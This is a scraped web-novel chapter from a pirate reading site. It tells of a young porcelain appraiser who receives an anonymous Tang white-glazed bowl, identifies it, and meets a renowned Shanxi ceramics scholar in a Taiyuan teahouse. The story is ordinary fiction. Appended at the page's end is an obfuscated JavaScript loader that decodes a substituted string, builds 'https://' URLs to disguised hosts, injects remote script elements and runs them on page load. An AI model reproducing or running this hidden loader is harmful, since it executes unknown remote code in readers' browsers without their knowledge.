首页
第238章 窑址要不要?
返回
关灯 护眼:关 字号:小

第238章 窑址要不要?

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    “噗”,一把面粉,暗红木的案板上泛起醭花。
    巴掌大的面剂子三两下揉好,“喀嚓喀嚓”一顿剪,锅里飘起小拇指粗细的面鱼。
    煮透,过水,往软烂的红烧肉里一捞,再翻炒几下,香味扑鼻。
    山西美食,红烧肉剪刀面,又称炒剪鱼。
    谈武特地交待过,师傅对林思成的习惯了如指掌,特地开了小灶。
    其实肉还是那一锅肉,并没有特殊对待,只是面煮得轻,水开一遍就捞。
    以为单另做的肯定香,叶安宁挖了一勺,嚼的腮帮子发酸。
    “这么硬,你咋吃?”
    林思成笑了一下:“我胃好!”
    叶安宁翻了个白眼,又踢了他一脚。
    林思成抄起筷子,细嚼慢咽:“你怎么来了?”
    “资料组人手够用,化验我又不懂,待着也是添乱。舅舅说要来找你,我就一块来了……”
    “你们公司分给你的征集任务呢,弄的怎么样了?”
    叶安宁不以为意:“六月底才开始,还早!”
    这都五月中旬了,满打满算一个月,这还早?
    林思成想了想:“要不这样:放着也是放着,你帮我把沈度真迹,还有孝全成皇后(咸丰生母)的湛静粉彩杯报上去,看能不能入选……”
    叶安宁顿了一下:那两件东西都由故宫的专家看过,真的不能再真,怎么可能入不了选?
    前一件“奉旨移跋”,后一件更是清宫御器,但凡上拍,不敢说压轴,至少也排在前几。
    王齐志就坐在旁边,冷不丁的一句:“给她应付一下差事而已,哪需要两件?沈度真迹就够了……”
    叶安宁没说话,抿了一下嘴:我还不知道这个?
    舅舅的话是真多。
    吃完面,几个人坐树下乘凉。
    正闲聊着,“吱”的一声,大奔停在村委会的门口,赵修能从副驾驶上跳了下来。
    身后跟着赵大,手里提着一口囊匣。
    “咦,王教授也在?”
    “谈秘书长,不用忙,我们在县里已经吃过了……”
    打了声招呼,父子俩提着箱子走了过来,王齐志让叶安宁拿了两个马扎。
    两人坐定,赵修能打开箱子:“今天早上刚收的,有点怪,我也有些拿不准,所以送过来让师弟看一看。”
    赵修能都拿不准?
    王齐志来了兴趣,往前凑了凑。
    一只白色的瓷碗,口沿外翻,略微增厚。胎色洁白,胚骨坚实细密,
    釉色很漂亮,白且莹润,釉质均匀,给人一种微透的玉质感。
    敲一下,如金石一般。翻过来再看足,底部中心内凹,留着一个圆形的小圈。
    “胚有些厚,但这釉色烧得不错,和之前征集到的白瓷片有点像。唯有一点,太新了些,不太像是古物,像是新烧的一样。”
    王齐志仔细看了一下:“赵总,从哪收的?”
    “今天早上,我刚要出门,前台打电话,说有人给师弟放了件东西。我下去一看,人已经走了,就留了一只碗……对了,还留了电话!”
    赵修能从口袋里一掏,摸出一张酒店的便签纸。
    是个手机号,很有辨识性,一看就是太原的号。
    王齐志皱起了眉头:“什么意思?”
    “不知道!我连人都没见着,服务员说是个五十来岁的男的,留下碗就走,只说是送给林师弟,再什么都没说。”
    奇了怪了?
    没名没姓,无缘无故的,给林思成送只碗?
    正狐疑着,林思成眯着眼睛拿起碗,王齐志又怔了一下。
    师生俩快一年,林思成什么性格,王齐志不要太了解。可以这么说:刀架到林思成的脖子上,他不但能面不改色,还可能冲着你笑一下。
    但这一次,林思成却格外的凝重:眉头皱起,眼眶微微缩紧,双眼一眨不眨。
    他先看釉,又看底,先后敲,之后又摸。
    最后,碗放了下来,人却盯着碗,一动不动。
    还以为他被难住了,几人都没说话。过了好久,林思成指了指碗底:“这是唐瓷,厚唇玉壁底白釉碗!”
    啥?
    王齐志突的一怔愣,猛的低下头:不是……这碗都新成啥样了?
    仔细再看:釉面油亮,如银似雪,无线无痕。也别说老化的痕迹,连丝包浆都找不到。
    再看底,洁白细腻,温润爽滑,没有任何沁斑。
    林思成如果说这是新瓷,王齐志百分百相信。但如果说是唐瓷……反正他咋看,都觉得不可能。
    下意识的,他回过头:赵修能也没好到哪,脖子前伸,双眼微突,一脸“惊呆了”的模样。
    因为太新,所以赵修能才说有些摸不准。他也猜过,这说不好就是老物件,但再老,也不可能有“唐”那么老?
    也不止是他俩,有一个算一个,全被震住了。
    林思成耐心解释:“鉴定界、拍卖界所谓的‘如新’,指的就是这一种:即瓷器传承几百上千年,却基本没有老化的迹象,依旧像新的一样。”
    “形成原因不复杂:一是盒封保存不见光,避免清扫擦拭,以及挪动类的物理磨损。同时,基本没有人为接触,不会有油、汗等污染侵蚀。所以不会出现因“玻璃质老化”而形成的包浆层。”
    “但最关键的:胎釉质量顶级。即高纯胎土,高纯釉料,高温烧制,釉面坚硬致密,抗老化能力极强。”
    “很少见,但并不难鉴定!”
    林思成拿出放大镜,又把碗斜了一下:
    “再是保存的好,外面再新,但经过了上千年,瓷器内部必然会发生变化……看这里,这是釉内矿物质结构重组,形成的絮斑和水晶状结晶体……如果过仪器,比如X光,玻化仪,更是一目了然……”
    几个人齐齐的往前一凑:放大镜底下,隐约能看到像玉石内部才有的那种乳白色絮丝,以及微亮的透明斑点……
    王齐志和赵修能对视了一眼:是不难鉴定,但这是见过,了解过的前提下,就像林思成这样。
    就像他俩,够见多识广,但今天才算是开了眼。
    叶安宁倒是听过,但也没见过。
    她想了想:“故宫中好像有。”
    当然。
    上世纪八十年代末,法门寺地宫(陕西宝鸡)中出土了二十多件瓷器。除了十三件越窑青釉秘色瓷,还有八件唐代邢窑白瓷。
    因为全是盒封窖藏,二十一件古瓷基本没氧化,刚挖出来的时候,吓了专家一大跳:比新出窑的还新。
    之后,十三件秘色瓷被送进陕博,那八件白瓷则被故宫借走,然后就成了刘备借荆州。
    但那是故宫,珍藏有什么样的稀奇物件都算不上稀奇。
    就林思成知道的,民间珍藏年代最久的“如新”瓷,是佳士得从英国征集的明宣德青花梵文僧帽壶,距今不过六百年。
    但这只碗,却是唐代?哪怕是唐晚期,距今也有一千一百年。
    再说一点:想要达到极强的抗老化釉面,除了高纯胎土和釉料,还必须在极高温条件下结釉。窑温最低,也要一千四某度。
    而唐宋时期,窑温最高的邢窑定窑,最高也不过一千三左右。所以,想烧出这样的碗,除了技术,还得有运气……
    几个人听得一愣一愣:按林思成的说法,这只碗即便没达到孤品的程度,也绝对称得上珍品。
    所以,这已经不是值多少钱的问题,而是即便放进故宫和国博,也能进中央展厅的那种。
    但莫名其妙的,且指名道姓的,送给了林思成?
    打个比方:谁无缘无故的,给认都不认识的人送几百上千万?
    更怪的是,只是留了个电话,没多说一句,甚至连个名字都没有?
    这么古怪的事情,他们听都没听说过……
    看了看便签上的手机号,林思成想了想:“应该是这附近烧的!”
    只觉脑子里“嗡”的一下,谈武头皮发麻:“林老师,你说哪里?”
    “固镇!”林思成翻过碗底,“这是固镇瓷土!”
    一群人又呆住了。
    来了两个多月,征集到的残器和瓷片没有一千也有六七百,林思成过手的次数多到数不清。
    化验更是天天做,元素成份比例,胎质、釉面呈色变化,早刻进了林思成的脑子里。只是对比一下胎质而已,他还能看错?
    问题是,这是唐瓷?
    说明什么?说明河津古窑的烧瓷历史,比林思成推测的宋、金时期还要早,距今至少有一千多年。
    “噌”的一下,谈武的眼睛亮的像灯泡。
    但林思成却高兴不起来:谁闲的没事,给人送这么贵的东西?
    怎么想,都透着蹊跷,以及古怪……
    林思成想了想,拿出手机,照着便签纸上的号码拨了过去。
    一群人精神一振,竖起了耳朵。
    响了五六声,电话才被接通,里面才传来一个醇厚的声音:“喂,哪位!”
    “你好,我姓林,林思成!”
    “咦?林老师,你好你好……”
    回了一句,声音又稍低了些,“爸,电话打过来了!”
    “请他过来吧,来了见面谈!”
    “唉好……林老师,我爸上了年岁,腿脚不太利索。你看你要有时间,能不能来一趟太原?”
    当然。
    无缘无故,莫明其妙的送来一只价值几百万,甚至上千万的古董,不说为什么送,甚至连个名字都没留?
    更甚至于,恰好与他正苦苦寻找的固镇古窑有关。就像正打瞌睡,天上掉下来了个枕头。
    别说太原,哪怕是广东、海南,林思成都得去一趟。
    “好!”他点点头,“请问老先生贵姓!”
    “我爸不让说,他说一提他的名字,你可能就不来了!”
    怎么可能?
    林思成愣了愣,又笑了笑:“好,那怎么联系?”
    “林老师,你到了太原打我电话,我去接你!”
    “好的,那麻烦了!”
    “你客气!”
    等林思成挂了电话,一群人更加古怪:前后说了五六句,但除了让去太原,再什么有用的都没说。
    关键的是,问他们姓什么,竟然都不敢讲?
    王齐志突发奇想:“会不会……姓于?”
    姓于?
    于什么,名震三秦,挖了张安世墓的那个于大海?
    林思成摇了摇头。
    能把东西送到酒店,说明对他近期的行踪了如指掌,更表蝗,已经把他的底细了解的清清楚楚。
    要真是于大海,早送林思成吃花生米了,哪还需要送一只几百上千万的碗,再约他去太原?
    看看手里的碗,再前后一结合,十有八九,还是和他现在寻找的白釉瓷古窑址有关。
    但保险起见,还是小心点的好。毕竟林思成干的都是正常人不干的事。
    王齐志看着谈武,“谈秘书长,能不能查一查那个号码?”
    “好!”
    谈武点点头,起身打电话。不大的功夫就有了结果:机主姓张,是TY市文联的一位科长,这个手机号已经用了快十年了。
    太原文联,科长,姓张?
    搜遍记忆,别说这辈子,就是上辈子,林思成也不认识这样的人。
    不过至少能肯定,不是坏人。
    他拿起那只白瓷碗,放进囊匣:“老师,师兄,你们去不去?”
    当然要去。
    先不说这只碗和林思成正找的固镇古窑有什么关系,就说谁闲的没事,给人送这么贵的古董?
    他就不怕,林思成拿着这只碗跑了?
    又为什么要把约林思成到太原,又准备谈什么?
    一点儿不夸张:王齐志和赵修能的心里好奇的跟猫挠一样。
    以防万一,王齐志让谈武叫了两位市局的刑警陪同。九个人三辆车,直奔太原。
    不到四百公里,开了差不多四个小时。
    刚下高速,林思成再次拨通那个号码。
    刚响了两声,电话被接通:“林老师!”
    “你好,我们到了!”
    “咦,这么快?林老师你稍等一下……”
    像是捂住了话筒,声音听不太清。
    但不长,就几秒,声音又清晰起来:“林老师,你问一下司机,钟楼街他应该知道,我们在旁边的乾和祥!”
    林思成回了一声,挂断了电话。
    不但司机知道,他也知道:山西茶行业唯一一家“中华老字号”。
    创于宣统年间,民国时期就是太原知名茶庄,距今为止,已经经营了上百年。
    最有名的是茉莉花茶,好喝,不贵:最便宜的二十块钱一斤,你要在茶楼喝,三元一杯能坐一天。
    前世,来山西做技术指导,林思成没少来这儿……
    不远,离高速路口就三公里,眨眼就到。
    两层的小楼,还是民国时期的风格,青墙灰顶,木门红窗。
    门口站着一位五十岁左右的男人,看到两辆陕A,一辆晋M停下,他快步下了台阶。
    林思成刚下车,刚站稳,一双手伸了过来:“林老师,幸会幸会!”
    所有人都愣了一下。
    男女老少九个人,年长如赵修能,年轻如赵大。文雅如谈武,高壮如两个警察。
    这个男人却一眼就认出了林思成,可见有多了解。
    关键的是,忒客气,伸的是双手不说,还微微勾腰。
    林思成连忙握住:“你好,先生贵姓?”
    “当不得先生!”男人笑了一下,“免贵!”
    不是……都到这会了,你连姓什么都不敢讲?
    再说了,这儿又不是龙潭虎穴,难不成一听你姓什么,还能把我吓跑是怎么地?
    暗暗狐疑,林思成指了指赵大手里的囊匣:“那只白碗,是先生送到河津的?”
    “对,我爸让我送的!”男人笑了笑,“林老师,我爸就在上面,上去再说!”
    “好!”
    林思成跟着男人,其余人又跟在后面。
    上了二楼,男人把林思成领进一人挺大的包间。
    就茶室常见的那种布局:红木的茶台、太师椅,旁边是沙发和茶几,靠窗的位置摆着一台麻将机。
    茶台上摆着几件古玩,两边坐满了人,男男女女六七位,年岁都不小,最年轻的应该是去接他的那个男人,剩下的都在六七十左右。
    居中上首的位置,坐着一位雪鬓霜鬟,身形矮瘦的老人。
    嗯,这位应该最大,少说也有八十以上……咦,不对!
    大略一扫,又转了一下念头,正准备问声好,林思成愣了一下。
    然后,他又转过头,看了看带他上来的那位男子:这俩位,脸像一个模子刻出来的,难道不是爷俩?
    但重点不是这个,而是这位老人,他认识。
    当然,是上辈子。
    水即生,山西朔城人,一九四五年毕业于JX省立陶瓷职业学校(景德镇),后分配到山西实业公司。解放后,进入太原轻工局。
    自此后,毕身致力于陶瓷研究及陶瓷考古,调查全省70余处古窑址,像冠绝山西的浑源窑、介休窑、八义窑,全是由水先生考古发现,并主持发掘。
    同时,主持恢复失传技艺:包括平定砂器、平定黑釉刻花、山西琉璃、澄泥砚等等等等。
    山西列入国家级非遗目录的失传再复原工艺,其中有一半,是水先生指导复原的。
    九零年退休时,他已是SX省轻工业厅总工程师、SX省玻璃陶瓷科学研究所总工程师、中国工艺美术委员会委员、中国古陶瓷研究会理事、陶瓷高级工程师。
    可以这么说:他不但是山西陶瓷工业的开创者,奠基人,更是山西传统文化保护的核心人物。
    除此外,他还是国内极权威的鉴定专家,学者。他著作的《历史名窑微观痕迹鉴定参考丛书》,囊括自唐到民国所有的窑系,所有的名瓷。
    从分析胎体、釉面、气泡、开片、包浆、老化、瓷土、釉料……等等等等微观痕迹,是为鉴定提供科学依据的古瓷科学鉴定标本库。
    包括现在,林思成的床头都放着一本,有时间就翻。
    也不止他在学,凡是搞瓷器鉴定的专家,必然绕不过,包括故宫的瓷器专家。
    应该是一四年左右,故宫请他去讲过课。当时,林思成还专程请教过……
    至此,林思成算是知道,为什么留的那个手机号是文联的:他不但是考古、陶瓷学者,还是著名的书法家,篆刻家。
    林思成更知道:为什么他儿子死活不敢说,他爸姓什么。
    在山西,但凡和考古、和陶瓷相关,这位是绝对绕不开的大山。水这个姓还这么少见,再结合那只白釉碗,稍微懂行的就能猜到是他。
    真的,林思成要知道是这位,打死他都不会来。
    甚至于,他已经有点想跑了。
    动脑子想:老人的儿子直直的找到了宾馆,可见去之前已经了解的清清楚楚,明明白白。
    包括自己在找固镇古窑,包括自己征集到了哪些样本,大概做了哪些分析研究。
    更在于,看到那只碗的第一眼,林思成就断定:固镇白瓷的卵白玉工艺,就源自烧出那只碗的那座窑。
    老人搞了一辈子的考古,研究了一辈子的瓷器,还能不知道这只碗的价值?
    都不用化验,拿块自己征集到的瓷片一对比,就能猜到自己想干什么:瞒着河津,瞒着运城,恢复卵白玉的工艺。
    关键的是,价值几百万,可能上千万的孤品瓷器,说送就送?
    说好听点,这叫千金买马骨。说直白点:舍不得孩子,套不着狼……
    但来都来了,难不成真的招呼都不打就跑?
    叹了口气,林思成腰一勾,鞠了个躬:“水先生好!”
    “咦?”老人惊了一下,“咱们见过!”
    林思成摇了摇头,指了指老人的手。
    老手抬起双手看了看,恍然大悟:得接触多少瓷器,渗进去多少氧化铁,才能把手上的那层皮染成棕黑色?
    啧,厉害了,这眼睛真就像刀子一样。
    暗暗一赞,老人又有些狐疑:“在山西,研究了大半辈子瓷器的又不止我一个,你怎么知道我是我?”
    林思成指指囊匣:“因为那只碗!”
    咦,还真就是?
    一般人,哪知道林思成找的固镇古窑是什么窑,和这只碗又有什么关系?
    “先坐!”老人起身,拄着拐仗走到了沙发那边,“都坐!”
    “好!”林思成点点头,走了过去。
    其它人一头雾水的跟在后面,一一落座。
    服务员端来了茶,上好的茉莉飘香。
    老人做了个请的手势:“小林,我这么叫你,可以吧?”
    林思成点头:“可以!”
    “那好!”老人笑眯眯,“哪咱们再打个商量?”
    林思成顿了一下,叹了口气:“水先生,先说好,碗我不要!”
    好像早就料到了,老人一点都不意外,轻轻往后一靠:“碗不要是吧,那窑址要不要?”
    (本章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();